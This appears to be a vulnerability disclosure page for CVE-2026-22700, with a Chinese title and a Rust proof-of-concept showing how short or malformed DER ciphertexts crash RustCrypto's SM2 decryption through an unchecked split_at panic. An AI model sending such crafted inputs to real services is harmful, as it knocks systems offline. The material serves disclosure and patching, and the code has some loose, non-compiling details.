CVE-2026-22700 RustCrypto SM2解密拒绝服务漏洞

// CVE-2026-22700 PoC - SM2 PKE Decrypt DoS // Affected: RustCrypto elliptic-curves < 0.14.0 (excluding patched versions) use sm2pke256v1::{PublicKey, DecryptingKey}; fn trigger_dos_via_short_ciphertext() { // Generate a valid key pair first let secret_key = SecretKey::random(&mut OsRng); let public_key = PublicKey::from(&secret_key); // Create a short/undersized ciphertext to trigger panic // The decrypt function expects certain minimum length, // providing shorter data causes slice::split_at to panic let short_ciphertext = b"\x00\x01"; // Too short for SM2 decryption let decrypt_key = DecryptingKey::from(&secret_key); // This will trigger panic due to unchecked split_at let _result = decrypt_key.decrypt(short_ciphertext); } fn trigger_dos_via_malformed_der() { // Create a malformed DER-encoded structure // that causes incorrect offset calculation in parsing let malformed_ciphertext = vec![ 0x30, 0x00, // SEQUENCE with zero length 0x02, 0x01, 0x01, // INTEGER 0x30, 0x03, 0x02, 0x01, 0x02 ]; let secret_key = SecretKey::random(&mut OsRng); let decrypt_key = DecryptingKey::from(&secret_key); // Trigger panic via malformed structure let _result = decrypt_key.decrypt(&malformed_ciphertext); } // Note: This PoC demonstrates the vulnerability concept. // Actual exploitation requires specific knowledge of SM2 PKE format. // The patch (commit e60e991) adds bounds checking before split_at calls.